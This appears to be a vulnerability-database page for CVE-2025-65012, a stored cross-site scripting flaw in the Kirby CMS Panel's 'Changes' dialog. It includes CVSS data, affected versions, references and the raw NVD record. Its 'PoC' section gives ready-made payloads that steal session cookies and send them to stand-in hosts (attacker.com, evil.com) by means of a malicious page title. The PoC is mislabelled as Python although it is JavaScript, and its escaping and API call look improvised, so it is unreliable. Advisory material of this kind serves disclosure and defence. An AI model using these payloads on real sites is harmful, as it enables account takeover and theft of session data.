CVE-2025-65012

Description

Kirby is an open-source content management system. From versions 5.0.0 to 5.1.3, attackers could change the title of any page or the name of any user to a malicious string. Then they could modify any content field of the same model without saving, making the model a candidate for display in the "Changes" dialog. If another authenticated user subsequently opened the dialog in their Panel, the malicious code would be executed. This vulnerability affects all Kirby 5 sites that might have potential attackers in the group of authenticated Panel users or that allow external visitors to update page titles or usernames. The attack requires user interaction by another Panel user and cannot be automated. This issue has been patched in version 5.1.4.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:getkirby:kirby:*:*:*:*:*:*:*:* - VULNERABLE

Kirby CMS 5.0.0

Kirby CMS 5.0.1

Kirby CMS 5.0.2

Kirby CMS 5.0.3

Kirby CMS 5.1.0

Kirby CMS 5.1.1

Kirby CMS 5.1.2

Kirby CMS 5.1.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-65012 PoC - Stored XSS in Kirby CMS
// Attack requires authenticated Panel user access

// Step 1: Set malicious page title via API
const setMaliciousTitle = async () => {
  const titlePayload = '<img src=x onerror=fetch(`https://attacker.com/steal?c=\`+document.cookie+\``)>';
  
  const response = await fetch('/api/pages/your-page-id', {
    method: 'PATCH',
    headers: {
      'Content-Type': 'application/json',
      'Authorization': 'Bearer <attacker_token>'
    },
    body: JSON.stringify({
      title: titlePayload,
      content: {
        // Any field modification (not saved)
        text: 'temp modification'
      }
    })
  });
  return response.json();
};

// Step 2: Trigger changes dialog for victim (requires victim interaction)
// When victim opens Panel's Changes dialog, XSS executes automatically

// Alternative: Direct title modification via Panel UI
// 1. Navigate to target page in Kirby Panel
// 2. Edit page title to: <script>fetch('https://evil.com?c='+document.cookie)</script>
// 3. Make any content change without saving
// 4. Wait for admin to open Changes dialog

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-65012
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-65012
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-65012/
[4] VulDB https://vuldb.com/cve/CVE-2025-65012
[5] https://github.com/getkirby/kirby/releases/tag/5.1.4
[6] https://github.com/getkirby/kirby/security/advisories/GHSA-84hf-8gh5-575j

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-65012", "sourceIdentifier": "[email protected]", "published": "2025-11-18T23:15:55.913", "lastModified": "2025-11-26T16:25:06.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kirby is an open-source content management system. From versions 5.0.0 to 5.1.3, attackers could change the title of any page or the name of any user to a malicious string. Then they could modify any content field of the same model without saving, making the model a candidate for display in the \"Changes\" dialog. If another authenticated user subsequently opened the dialog in their Panel, the malicious code would be executed. This vulnerability affects all Kirby 5 sites that might have potential attackers in the group of authenticated Panel users or that allow external visitors to update page titles or usernames. The attack requires user interaction by another Panel user and cannot be automated. This issue has been patched in version 5.1.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getkirby:kirby:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.1.4", "matchCriteriaId": "8BE9A9E3-9347-4164-9AB8-E721DFBDF56A"}]}]}], "references": [{"url": "https://github.com/getkirby/kirby/releases/tag/5.1.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/getkirby/kirby/security/advisories/GHSA-84hf-8gh5-575j", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}